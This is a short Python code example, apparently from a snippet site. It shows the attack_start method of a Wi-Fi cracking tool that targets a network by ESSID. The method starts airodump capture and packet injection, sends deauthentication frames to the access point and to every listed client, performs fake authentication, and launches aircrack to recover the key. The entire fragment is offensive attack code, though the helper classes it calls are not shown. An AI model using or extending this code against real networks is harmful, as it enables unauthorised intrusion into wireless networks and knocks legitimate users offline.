Example #1
0
    def attack_start(self):
        logger.info(
            'Starting attack on %s. I will try for %s seconds before giving up',
            self.target['essid'], settings.MAX_ATTACK_LENGTH)
        self.attack_begin = time.time()

        self.airodump_process = airodump(self.target['ch'], self.interface)

        self.aireplay_process = Injection(self.target['essid'], self.interface)

        Deauth(self.target['essid'], self.interface)
        for client in self.target['clients']:
            Deauth(self.target['essid'], self.interface, client)

        self.fakeauth_process = Fakeauth(self.target['essid'], self.interface)
        self.fakeauth_process.ready.wait()

        self.aircrack_process = Aircrack(self.target['essid'])